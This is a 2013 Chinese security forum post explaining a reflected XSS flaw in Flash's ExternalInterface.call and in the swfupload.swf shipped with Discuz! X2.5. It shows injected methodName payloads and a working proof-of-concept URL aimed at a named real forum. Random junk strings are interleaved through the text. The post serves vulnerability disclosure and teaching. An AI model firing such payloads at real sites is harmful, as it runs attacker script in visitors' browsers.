找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1863|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
" T  Y5 I. U( F" _, z  x9 T. v4 ?4 R$ ]
flash.external.ExternalInterface.call($methodName, $parameter)( c) _- p7 |9 k$ ?0 H- E: N# H
在浏览器中执行的是
  W0 Z. }" Y* Z, L! M
' e. C8 e" e* Stry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}5 R4 t, M$ D. c4 u& l: j
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如: q0 O, K. e9 E/ J& ~9 K# k
) Y: B8 l. B7 i, y
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
8 i/ u, z* b0 T& I$methodName = a())}catch(e){alert(/xss/)}//
- K. o8 P& J" [0 @' s. j1 j: b结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
$ r; N2 q' K9 l; ^! W4 D1 B, G$ g
- o* {% _, x9 gtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
( X7 e- q, E8 Q) v" `& _: d3 k9 v. j: A4 T" R% n" m4 _0 x
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
0 j3 M0 b! ^) q" P. F  a杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
$ E8 {7 D6 I* [/ m% y4 C0 W5 F7 h! R' w3 Y4 n

% i8 p  h/ y- N# }
! L# T) x4 d/ |, V漏洞文件:upload\static\image\common\swfupload.swf
; f3 H2 ^2 C4 j5 |5 T
2 f7 }& p8 ~4 Y2 `: A原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
- y# b1 F% T  P8 @+ e/ N4 _+ ^0 Z  j8 d+ f$ I6 x0 j/ V
5 Y8 T% u- B% L
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
1 S: U5 m9 a1 W8 w& T
) S. X0 ~) {: N8 d* t! e4 _& Y, N2 m5 |% R7 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表